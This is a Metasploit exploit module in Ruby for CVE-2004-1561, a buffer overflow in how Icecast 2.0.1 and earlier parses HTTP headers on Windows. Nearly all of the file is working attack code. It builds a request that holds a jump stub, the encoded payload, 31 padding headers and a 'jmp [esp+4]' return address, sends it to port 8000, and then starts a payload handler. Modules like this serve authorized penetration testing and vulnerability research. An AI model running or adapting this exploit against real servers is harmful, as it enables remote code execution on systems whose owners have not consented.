##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Icecast (<= 2.0.1) Header Overwrite (win32)',
      'Description'    => %q{
          This module exploits a buffer overflow in the header parsing
        of icecast, discovered by Luigi Auriemma.  Sending 32 HTTP
        headers will cause a write one past the end of a pointer
        array.  On win32 this happens to overwrite the saved
        instruction pointer, and on linux (depending on compiler,
        etc) this seems to generally overwrite nothing crucial (read
        not exploitable).

        !! This exploit uses ExitThread(), this will leave icecast
        thinking the thread is still in use, and the thread counter
        won't be decremented.  This means for each time your payload
        exits, the counter will be left incremented, and eventually
        the threadpool limit will be maxed.  So you can multihit,
        but only till you fill the threadpool.

      },
      'Author'         => [ 'spoonm', 'Luigi Auriemma <aluigi[at]autistici.org>' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2004-1561'],
          [ 'OSVDB', '10406'],
          [ 'BID', '11271'],
          [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-09/0366.html'],
        ],
      'Privileged'     => false,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 2000,
          'BadChars' => "\x0d\x0a\x00",
          'DisableNops' => true,
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { }],
        ],
      'DisclosureDate' => 'Sep 28 2004',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(8000)
      ], self.class)
  end

  # Interesting that ebp is pushed after the local variables, and the line array
  # is right before the saved eip, so overrunning it just by 1 element overwrites
  # eip, making an interesting exploit....
  # .text:00414C00                 sub     esp, 94h
  # .text:00414C06                 push    ebx
  # .text:00414C07                 push    ebp
  # .text:00414C08                 push    esi

  def exploit
    connect

    # bounce bounce bouncey bounce.. (our chunk gets free'd, so do a little dance)
    # jmp 12
    evul = "\xeb\x0c / HTTP/1.1 #{payload.encoded}\r\n"
    evul << "Accept: text/html\r\n" * 31;

    # jmp [esp+4]
    evul << "\xff\x64\x24\x04\r\n"
    evul << "\r\n"

    sock.put(evul)

    handler
    disconnect
  end

end